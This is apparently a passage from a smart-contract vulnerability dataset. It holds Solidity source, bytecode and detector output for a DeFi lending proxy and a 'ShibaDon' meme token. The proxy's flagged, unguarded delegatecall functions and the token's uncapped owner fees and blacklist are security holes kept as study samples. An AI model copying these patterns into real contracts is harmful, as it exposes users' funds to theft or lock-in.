setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool); function getUserEXR(address payable userAddr) external view returns (uint256, uint256); function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool); function getGlobalEXR() external view returns (uint256, uint256); function getMarketHandlerAddr() external view returns (address); function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool); function getInterestModelAddr() external view returns (address); function setInterestModelAddr(address interestModelAddr) external returns (bool); function getLimit() external view returns (uint256, uint256); function getBorrowLimit() external view returns (uint256); function getMarginCallLimit() external view returns (uint256); function getMinimumInterestRate() external view returns (uint256); function getLiquiditySensitivity() external view returns (uint256); function setBorrowLimit(uint256 _borrowLimit) external returns (bool); function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool); function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool); function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool); function getLimitOfAction() external view returns (uint256); function setLimitOfAction(uint256 limitOfAction) external returns (bool); function getLiquidityLimit() external view returns (uint256); function setLiquidityLimit(uint256 liquidityLimit) external returns (bool); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external ; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external view returns (bool); function transferFrom(address from, address to, uint256 value) external ; } interface marketSIHandlerDataStorageInterface { function setCircuitBreaker(bool _emergency) external returns (bool); function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool); function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256); function getMarketRewardInfo() external view returns (uint256, uint256, uint256); function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool); function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256); function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool); function getBetaRate() external view returns (uint256); function setBetaRate(uint256 _betaRate) external returns (bool); } contract proxy { address payable owner; uint256 handlerID; string tokenName; uint256 constant unifiedPoint = 10 ** 18; uint256 unifiedTokenDecimal = 10 ** 18; uint256 underlyingTokenDecimal; marketManagerInterface marketManager; interestModelInterface interestModelInstance; marketHandlerDataStorageInterface handlerDataStorage; marketSIHandlerDataStorageInterface SIHandlerDataStorage; IERC20 erc20Instance; address public handler; address public SI; string DEPOSIT = "deposit(uint256,bool)"; string REDEEM = "withdraw(uint256,bool)"; string BORROW = "borrow(uint256,bool)"; string REPAY = "repay(uint256,bool)"; modifier onlyOwner { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } modifier onlyMarketManager { address msgSender = msg.sender; require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function"); _; } constructor () public { owner = msg.sender; } function ownershipTransfer(address _owner) onlyOwner external returns (bool) { owner = address(uint160(_owner)); return true; } function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address erc20Addr, string memory _tokenName, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool) { handlerID = _handlerID; handler = handlerAddr; marketManager = marketManagerInterface(marketManagerAddr); interestModelInstance = interestModelInterface(interestModelAddr); handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr); erc20Instance = IERC20(erc20Addr); tokenName = _tokenName; SI = siHandlerAddr; SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr); } function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool) { handlerID = _handlerID; return true; } function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool) { handler = handlerAddr; return true; } function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool) { SI = siHandlerAddr; return true; } function getHandlerID() public view returns (uint256) { return handlerID; } function getHandlerAddr() public view returns (address) { return handler; } function getSiHandlerAddr() public view returns (address) { return SI; } function migration(address target) onlyOwner public returns (bool) { uint256 balance = erc20Instance.balanceOf(address(this)); erc20Instance.transfer(target, balance); } function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return (result, returnData); } function handlerViewProxy(bytes memory data) external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return (result, returnData); } function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = SI.delegatecall(data); require(result, string(returnData)); return (result, returnData); } function siViewProxy(bytes memory data) external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = SI.delegatecall(data); require(result, string(returnData)); return (result, returnData); } } contract DaiHandlerProxy is proxy{ constructor() proxy() public {} }
0x6080604052600436106101145760003560e01c8063829311cc116100a0578063ba0b362311610064578063ba0b36231461067a578063c0a47d451461069f578063c80916d4146106b4578063d3a417a2146106c9578063ff41073a146106fc57610114565b8063829311cc146105b15780638cd01307146105c65780639a408321146105f8578063adc495561461061d578063b6fd00701461065057610114565b806343b5eabe116100e757806343b5eabe14610373578063478a425114610424578063575979c514610457578063685e24861461047e5780637ad23b7f146104b157610114565b80630e76d128146101195780631e157ad11461024b5780631f426b1d1461027c57806338d074361461032d575b600080fd5b34801561012557600080fd5b506101ca6004803603602081101561013c57600080fd5b810190602081018135600160201b81111561015657600080fd5b82018360208201111561016857600080fd5b803590602001918460018302840111600160201b8311171561018957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506107ad945050505050565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561020f5781810151838201526020016101f7565b50505050905090810190601f16801561023c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34801561025757600080fd5b506102606108f5565b604080516001600160a01b039092168252519081900360200190f35b34801561028857600080fd5b506101ca6004803603602081101561029f57600080fd5b810190602081018135600160201b8111156102b957600080fd5b8201836020820111156102cb57600080fd5b803590602001918460018302840111600160201b831117156102ec57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610904945050505050565b34801561033957600080fd5b5061035f6004803603604081101561035057600080fd5b5080359060200135151561094b565b604080519115158252519081900360200190f35b34801561037f57600080fd5b506101ca6004803603602081101561039657600080fd5b810190602081018135600160201b8111156103b057600080fd5b8201836020820111156103c257600080fd5b803590602001918460018302840111600160201b831117156103e357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610b0b945050505050565b34801561043057600080fd5b5061035f6004803603602081101561044757600080fd5b50356001600160a01b0316610c95565b34801561046357600080fd5b5061046c610d08565b60408051918252519081900360200190f35b34801561048a57600080fd5b5061035f600480360360208110156104a157600080fd5b50356001600160a01b0316610d0e565b3480156104bd57600080fd5b5061035f60048036036101208110156104d557600080fd5b8135916001600160a01b03602082013581169260408301358216926060810135831692608082013581169260a0830135909116919081019060e0810160c0820135600160201b81111561052757600080fd5b82018360208201111561053957600080fd5b803590602001918460018302840111600160201b8311171561055a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550506001600160a01b038335811694506020909301359092169150610e489050565b3480156105bd57600080fd5b50610260610f40565b3480156105d257600080fd5b5061035f600480360360408110156105e957600080fd5b50803590602001351515610f4f565b61035f6004803603604081101561060e57600080fd5b50803590602001351515610fbb565b34801561062957600080fd5b5061035f6004803603602081101561064057600080fd5b50356001600160a01b0316611027565b34801561065c57600080fd5b5061035f6004803603602081101561067357600080fd5b503561109a565b61035f6004803603604081101561069057600080fd5b508035906020013515156110f1565b3480156106ab57600080fd5b5061026061115d565b3480156106c057600080fd5b5061026061116c565b3480156106d557600080fd5b5061035f600480360360208110156106ec57600080fd5b50356001600160a01b031661117b565b34801561070857600080fd5b506101ca6004803603602081101561071f57600080fd5b810190602081018135600160201b81111561073957600080fd5b82018360208201111561074b57600080fd5b803590602001918460018302840111600160201b8311171561076c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506111ee945050505050565b600a546040518251600092606092849284926001600160a01b0316918791819060208401908083835b602083106107f55780518252601f1990920191602091820191016107d6565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610855576040519150601f19603f3d011682016040523d82523d6000602084013e61085a565b606091505b50909250905080826108ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108af578181015183820152602001610897565b50505050905090810190601f1680156108dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509092509050915091565b600b546001600160a01b031681565b600b546040518251600092606092849284926001600160a01b031691879181906020840190808383602083106107f55780518252601f1990920191602091820191016107d6565b600080606080600d8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b820191906000526020600020905b8154815290600101906020018083116109c5575b505060408051918290039091206020850180516001600160e01b03166001600160e01b0319909216919091178152600a54915185519596506001600160a01b039092169486945091925082918083835b60208310610a485780518252601f199092019160209182019101610a29565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610aa8576040519150601f19603f3d011682016040523d82523d6000602084013e610aad565b606091505b5090935091508183610b005760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156108af578181015183820152602001610897565b509195945050505050565b60055460009060609033906001600160a01b0316811480610b3957506000546001600160a01b038281169116145b610b8a576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c794d61726b65744d616e616765722066756e6374696f6e000000000000604482015290519081900360640190fd5b600b5460405185516000926060926001600160a01b0390911691889190819060208401908083835b60208310610bd15780518252601f199092019160209182019101610bb2565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610c31576040519150601f19603f3d011682016040523d82523d6000602084013e610c36565b606091505b5090925090508082610c895760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156108af578181015183820152602001610897565b50909350915050915091565b600080546001600160a01b03163314610ce3576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600a80546001600160a01b0383166001600160a01b03199091161790556001919050565b60015490565b600080546001600160a01b03163314610d5c576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b600954604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610da757600080fd5b505afa158015610dbb573d6000803e3d6000fd5b505050506040513d6020811015610dd157600080fd5b50516009546040805163a9059cbb60e01b81526001600160a01b03878116600483015260248201859052915193945091169163a9059cbb9160448082019260009290919082900301818387803b158015610e2a57600080fd5b505af1158015610e3e573d6000803e3d6000fd5b5050505050919050565b600080546001600160a01b03163314610e96576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b60018a9055600a80546001600160a01b03199081166001600160a01b038c8116919091179092556005805482168b84161790556006805482168a8416179055600780548216898416179055600980549091169187169190911790558351610f049060029060208701906112b3565b50600b80546001600160a01b039485166001600160a01b0319918216179091556008805493909416921691909117909155979650505050505050565b600a546001600160a01b031690565b600080606080600e8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b600080606080600c8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b600080546001600160a01b03163314611075576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600b80546001600160a01b0383166001600160a01b03199091161790556001919050565b600080546001600160a01b031633146110e8576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600190815590565b600080606080600f8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b600b546001600160a01b031690565b600a546001600160a01b031681565b600080546001600160a01b031633146111c9576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60055460009060609033906001600160a01b031681148061121c57506000546001600160a01b038281169116145b61126d576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c794d61726b65744d616e616765722066756e6374696f6e000000000000604482015290519081900360640190fd5b600a5460405185516000926060926001600160a01b03909116918891908190602084019080838360208310610bd15780518252601f199092019160209182019101610bb2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106112f457805160ff1916838001178555611321565b82800160010185558215611321579182015b82811115611321578251825591602001919060010190611306565b5061132d929150611331565b5090565b5b8082111561132d576000815560010161133256fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220bcd6e65e79c649a88d86f54ee1744187967ac8f857f83044c94fd8029e9a014364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
8,317
0xdFc34b500a1bb6AF8E738F2DB77D658B3d0d76fB
/* Shiba Don (DON) Website: https://shibadon.io Telegram: t.me/ShibaDonTG Social Media: @shibadontoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeCast { function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaDon is Context, IERC20, Ownable { using SafeMath for uint256; using SafeCast for int256; string private constant _name = "ShibaDon"; string private constant _symbol = "DON"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69420000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 7; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x2C939b5c9029030FD3fC66C2c67d737CBDE449F2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 694200000 * 10**9; // 1.00% uint256 public _maxWalletSize = 1388400000 * 10**9; // 2.00% uint256 public _swapTokensAtAmount = 6942000 * 10**9; // 0.01% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set Max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610526578063c3c8cd8014610556578063dd62ed3e1461056b578063ea1644d5146105b157600080fd5b806398a5c31514610496578063a2a957bb146104b6578063a9059cbb146104d6578063bdd795ef146104f657600080fd5b80638da5cb5b116100d15780638da5cb5b146104165780638f70ccf7146104345780638f9a55c01461045457806395d89b411461046a57600080fd5b8063715018a6146103cb57806374010ece146103e05780637d1db4a51461040057600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103565780636d8aa8f8146103765780636fc3eaec1461039657806370a08231146103ab57600080fd5b80632fd689e314610304578063313ce5671461031a57806349bd5a5e1461033657600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c45780632f9c4569146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046117f0565b6105d1565b005b3480156101ff57600080fd5b5060408051808201909152600881526729b434b130a237b760c11b60208201525b60405161022d91906118b5565b60405180910390f35b34801561024257600080fd5b5061025661025136600461190a565b610670565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b506803c3656232739e00005b60405190815260200161022d565b3480156102d057600080fd5b506102566102df366004611936565b610687565b3480156102f057600080fd5b506101f16102ff366004611987565b6106f0565b34801561031057600080fd5b506102b660185481565b34801561032657600080fd5b506040516009815260200161022d565b34801561034257600080fd5b50601554610286906001600160a01b031681565b34801561036257600080fd5b506101f16103713660046119bc565b6107b5565b34801561038257600080fd5b506101f16103913660046119d9565b610800565b3480156103a257600080fd5b506101f1610848565b3480156103b757600080fd5b506102b66103c63660046119bc565b610875565b3480156103d757600080fd5b506101f1610897565b3480156103ec57600080fd5b506101f16103fb3660046119f4565b61090b565b34801561040c57600080fd5b506102b660165481565b34801561042257600080fd5b506000546001600160a01b0316610286565b34801561044057600080fd5b506101f161044f3660046119d9565b61093a565b34801561046057600080fd5b506102b660175481565b34801561047657600080fd5b506040805180820190915260038152622227a760e91b6020820152610220565b3480156104a257600080fd5b506101f16104b13660046119f4565b610982565b3480156104c257600080fd5b506101f16104d1366004611a0d565b6109b1565b3480156104e257600080fd5b506102566104f136600461190a565b6109ef565b34801561050257600080fd5b506102566105113660046119bc565b60116020526000908152604090205460ff1681565b34801561053257600080fd5b506102566105413660046119bc565b60106020526000908152604090205460ff1681565b34801561056257600080fd5b506101f16109fc565b34801561057757600080fd5b506102b6610586366004611a3f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bd57600080fd5b506101f16105cc3660046119f4565b610a32565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016105fb90611a78565b60405180910390fd5b60005b815181101561066c5760016010600084848151811061062857610628611aad565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066481611ad9565b915050610607565b5050565b600061067d338484610a61565b5060015b9291505056